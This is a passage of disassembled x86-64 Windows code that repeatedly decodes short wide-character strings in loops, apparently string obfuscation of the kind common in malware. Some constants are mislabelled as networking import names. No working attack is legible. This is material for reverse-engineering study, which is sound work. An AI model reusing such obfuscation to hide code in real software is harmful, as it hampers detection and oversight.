mov rdx, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x1260]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb74]
call fcn.140002b40
mov word [rsp + 0xec], ax
lea rax, [rsp + 0xb76]
mov qword [rsp + 0x1268], rax
mov rdx, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x1268]
call fcn.140002994
movzx ecx, word [rsp + 0xec]
mov word [rax], cx
jmp 0x14003d3fa
lea rax, [rsp + 0xb76]
mov qword [rsp + 0x1270], rax
mov edx, 5
mov rcx, qword [rsp + 0x1270]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb76]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1278], rax
mov rdx, qword [rsp + 0x1278]
lea rcx, [rsp + 0x2eb0]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x2cd2]
lea rcx, [rsp + 0x4f]
call fcn.140040ee0
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x338], 0
jmp 0x14003d51a
mov rax, qword [rsp + 0x338]
inc rax
mov qword [rsp + 0x338], rax
cmp qword [rsp + 0x338], 0xc
jae 0x14003d59f
mov rax, qword [rsp + 0x340]
add rax, 2
mov qword [rsp + 0x1280], rax
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x1280]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x340]
call fcn.140002b40
mov word [rsp + 0xee], ax
mov rax, qword [rsp + 0x340]
add rax, 2
mov qword [rsp + 0x1288], rax
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x1288]
call fcn.140002994
movzx ecx, word [rsp + 0xee]
mov word [rax], cx
jmp 0x14003d507
mov rax, qword [rsp + 0x340]
add rax, 2
mov qword [rsp + 0x1290], rax
mov edx, recv
mov rcx, qword [rsp + 0x1290]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x340]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1298], rax
mov rdx, qword [rsp + 0x1298]
lea rcx, [rsp + 0x2ed0]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x2cee]
lea rcx, [rsp + 0x50]
call fcn.140040fa4
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x348], 0
jmp 0x14003d637
mov rax, qword [rsp + 0x348]
inc rax
mov qword [rsp + 0x348], rax
cmp qword [rsp + 0x348], 0xc
jae 0x14003d6bc
mov rax, qword [rsp + 0x350]
add rax, 2
mov qword [rsp + 0x12a0], rax
mov rdx, qword [rsp + 0x348]
mov rcx, qword [rsp + 0x12a0]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x350]
call fcn.140002b40
mov word [rsp + 0xf0], ax
mov rax, qword [rsp + 0x350]
add rax, 2
mov qword [rsp + 0x12a8], rax
mov rdx, qword [rsp + 0x348]
mov rcx, qword [rsp + 0x12a8]
call fcn.140002994
movzx ecx, word [rsp + 0xf0]
mov word [rax], cx
jmp 0x14003d624
mov rax, qword [rsp + 0x350]
add rax, 2
mov qword [rsp + 0x12b0], rax
mov edx, recv
mov rcx, qword [rsp + 0x12b0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x350]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x12b8], rax
mov rdx, qword [rsp + 0x12b8]
lea rcx, [rsp + 0x2ef0]
call fcn.140002cb4
nop
mov byte [rsp + 0x9d0], 0x53
lea rax, [rsp + 0x9d1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_recvfrom
mov word [rsp + 0x9d2], ax
mov eax, reloc.WLDAP32.dll_Ordinal_50
mov word [rsp + 0x9d4], ax
mov eax, Ordinal_50
mov word [rsp + 0x9d6], ax
mov eax, Ordinal_60
mov word [rsp + 0x9d8], ax
mov eax, Ordinal_41
mov word [rsp + 0x9da], ax
mov eax, reloc.WLDAP32.dll_Ordinal_35
mov word [rsp + 0x9dc], ax
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov word [rsp + 0x9de], ax
mov eax, gethostname
mov word [rsp + 0x9e0], ax
mov eax, gethostname
mov word [rsp + 0x9e2], ax
mov eax, gethostname
mov word [rsp + 0x9e4], ax
xor eax, eax
mov word [rsp + 0x9e6], ax
lea rax, [rsp + 0x1c88]
lea rcx, [rsp + 0x9d0]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_27
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x358], 0
jmp 0x14003d7ff
mov rax, qword [rsp + 0x358]
inc rax
mov qword [rsp + 0x358], rax
cmp qword [rsp + 0x358], 0xa
jae 0x14003d87c
lea rax, [rsp + 0x1c8a]
mov qword [rsp + 0x12c0], rax
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x12c0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0x1c88]
call fcn.140002b40
mov word [rsp + 0xf2], ax
lea rax, [rsp + 0x1c8a]
mov qword [rsp + 0x12c8], rax
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x12c8]
call fcn.140002994
movzx ecx, word [rsp + 0xf2]
mov word [rax], cx
jmp 0x14003d7ec
lea rax, [rsp + 0x1c8a]
mov qword [rsp + 0x12d0], rax
mov edx, 0xa
mov rcx, qword [rsp + 0x12d0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0x1c8a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x12d8], rax
mov rdx, qword [rsp + 0x12d8]
lea rcx, [rsp + 0x2f10]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x2c80]
lea rcx, [rsp + 0x51]
call fcn.140041068
mov qword [rsp + 0x368], rax
mov qword [rsp + 0x360], 0
jmp 0x14003d90c
mov rax, qword [rsp + 0x360]
inc rax
mov qword [rsp + 0x360], rax
cmp qword [rsp + 0x360], 0xb
jae 0x14003d991
mov rax, qword [rsp + 0x368]
add rax, 2
mov qword [rsp + 0x12e0], rax
mov rdx, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x12e0]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x368]
call fcn.140002b40
mov word [rsp + 0xf4], ax
mov rax, qword [rsp + 0x368]
add rax, 2
mov qword [rsp + 0x12e8], rax
mov rdx, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x12e8]
call fcn.140002994
movzx ecx, word [rsp + 0xf4]
mov word [rax], cx
jmp 0x14003d8f9
mov rax, qword [rsp + 0x368]
add rax, 2
mov qword [rsp + 0x12f0], rax
mov edx, listen
mov rcx, qword [rsp + 0x12f0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x368]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x12f8], rax
mov rdx, qword [rsp + 0x12f8]
lea rcx, [rsp + 0x2f30]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x215c]
lea rcx, [rsp + 0x52]
call fcn.140041124
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x370], 0
jmp 0x14003da29
mov rax, qword [rsp + 0x370]
inc rax
mov qword [rsp + 0x370], rax
cmp qword [rsp + 0x370], 4
jae 0x14003daae
mov rax, qword [rsp + 0x378]
add rax, 2
mov qword [rsp + 0x1300], rax
mov rdx, qword [rsp + 0x370]
mov rcx, qword [rsp + 0x1300]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x378]
call fcn.140002b40
mov word [rsp + 0xf6], ax
mov rax, qword [rsp + 0x378]
add rax, 2
mov qword [rsp + 0x1308], rax
mov rdx, qword [rsp + 0x370]
mov rcx, qword [rsp + 0x1308]
call fcn.140002994
movzx ecx, word [rsp + 0xf6]
mov word [rax], cx
jmp 0x14003da16
mov rax, qword [rsp + 0x378]
add rax, 2
mov qword [rsp + 0x1310], rax
mov edx, 4
mov rcx, qword [rsp + 0x1310]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x378]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1318], rax
mov rdx, qword [rsp + 0x1318]
lea rcx, [rsp + 0x2f50]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x20fa]
lea rcx, [rsp + 0x53]
call fcn.140041198
mov qword [rsp + 0x388], rax
mov qword [rsp + 0x380], 0
jmp 0x14003db46
cmp qword [rsp + 0x380], 3
jae 0x14003dbcb
mov rax, qword [rsp + 0x388]
add rax, 2
mov qword [rsp + 0x1320], rax
mov rdx, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x1320]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x388]
call fcn.140002b40
mov word [rsp + 0xf8], ax
mov rax, qword [rsp + 0x388]
add rax, 2
mov qword [rsp + 0x1328], rax
mov rdx, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x1328]
call fcn.140002994
movzx ecx, word [rsp + 0xf8]
mov word [rax], cx
jmp 0x14003db33
mov rax, qword [rsp + 0x388]
add rax, 2
mov qword [rsp + 0x1330], rax
mov edx, 3
mov rcx, qword [rsp + 0x1330]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x388]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1338], rax
mov rdx, qword [rsp + 0x1338]
lea rcx, [rsp + 0x2f70]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x25a8]
lea rcx, [rsp + 0x54]
call fcn.140041204
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x390], 0
jmp 0x14003dc63